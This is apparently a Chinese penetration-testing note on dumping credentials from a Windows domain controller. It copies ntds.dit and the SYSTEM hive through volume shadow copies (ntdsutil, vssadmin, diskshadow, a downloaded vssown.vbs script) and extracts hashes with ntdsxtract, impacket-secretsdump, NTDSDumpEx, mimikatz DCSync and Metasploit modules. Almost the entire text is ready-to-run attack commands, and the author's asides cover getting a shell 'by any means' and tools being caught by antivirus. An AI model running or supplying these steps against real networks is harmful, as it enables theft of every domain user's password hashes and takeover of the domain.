ntdi.dit文件是在域控制器,存储用户名、散列值、组等,所有数据的二进制文件。通常情况下,即使是管理员权限,也无法读取该文件,默认被windows系统锁定。
C:\Windows|NTDS\ntds.dit
提取的办法—VSS(卷影拷贝服务)。
VSS本质是快照技术的一种,主要用于备份和恢复(锁定的文件也可以)。
该工具默认安装域控制器上(Server 2003、2008、2012)
首先使用该命令创建一个快照,包含Windows中所有的文件:
ntdsutil snapshot "activate instance ntds" create quit quit
加载该快照:
ntdsuitl snapshot "mount {GUID}" quit quit
ntdsutil snapshot "unmount {GUID}" "delete {GUID}" quit quit
步骤一样,创建快照,拷贝文件,删除快照。
创建:
vssadmin create shadow /for=c:
vssadmin delete shadows /for=c: /quiet
脚本下载链接:https://raw.githubusercontent.com/borigue/ptscripts/master/windows/vssown.vbs
自己保存为vbs文件即可。
启动卷影拷贝服务
cscript vssown.vbs /start
cscript vssown.vbs /create c
cscript vssown.vbs /list
cscript vssown.vbs /delete {
ID}
以管理员权限打开cmd。
执行:
ntdsutil "ac i ntds" "ifm" "create full c:/test" q q
ntds.dit在c:\test\Active Directory\ 文件夹下:
步骤如下:
将如下命令写入一个txt文件中。
set context persistent nowriters //设置娟英拷贝
add volume c: alias someAlias //添加卷
create //创建快照
expose %someAlias% k: //分配虚拟磁盘
exec "cmd.exe" /c copy k:\windows\ntds\ntds.dit c:\ntds.dit //复制ntds.dit
delete shadows all //删除快照
list shadows all //列出卷影拷贝
reset //重置
exit //退出
使用diskshadow执行txt文件。
diskshadow /s 文件
在导出ntds.dit文件时,要切换到C:\windows\system32路径下。
导出ntds.dit后,将system.hive进行转储,因为该文件中存放着ntds.dit的密钥,用来查看ntds.dit的信息。
reg save hklm\system c:\windows\temp\system.hive
使用环境:kali linux
下载地址:https://github.com/libyal/libesedb/archive/refs/tags/20200418.tar.gz
安装相关库:
apt-get install autoconf automake autopoint libtool pkg-config
执行:
./configure
make
make install
ldconfig
进入存放ntds.dit文件的目录中:
工具下载:https://github.com/csababarta/ntdsxtract.git
将导出的ntds.dit目录和SYSTEM文件和工具放同一目录下,然后执行:
dsusers.py ntds.dit.export/datatable.3 ntds.dit.export/link_table.5 output --syshive SYSTEM --passwordhasher --pwdformat ocl --ntoufile atout --lmoufile lmout | tee all_user.txt
SYSTEM文件和ntds.dit文件放入工具目录中,执行:
impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL
工具下载:https://github.com/zcgonvh/NTDSDumpEx/releases/download/v0.3/NTDSDumpEx.zip
1.mimikatz下的dcsync
使用管理员权限打开mimikatz。
下载地址:https://gist.github.com/monoxgas/9d238accd969550136db
命令:
Invoke-DCSync -PWDumpFormat
使用psexec_ntdsgrab模块。
设置选项:
该模块会将目标主机的ntds.dit和SYSTEM存放到/root/.msf4/loot/目录下,再配合其他工具即可。
基于会话获取hash:
首先,想尽一切办法获得shell,使用domain_hashdump模块:
use windows/gather/credentials/domain_hashdump
选择session,运行。
这里要注意使用的shell模块和目标主机操作系统位数是否一致,不一致会出错(然后我这还是出错了。。。)
但是道理明白就好。
目的貌似只有一个,获取hash,获取hash的方式有很多,熟练掌握吧。(有的还是被杀了)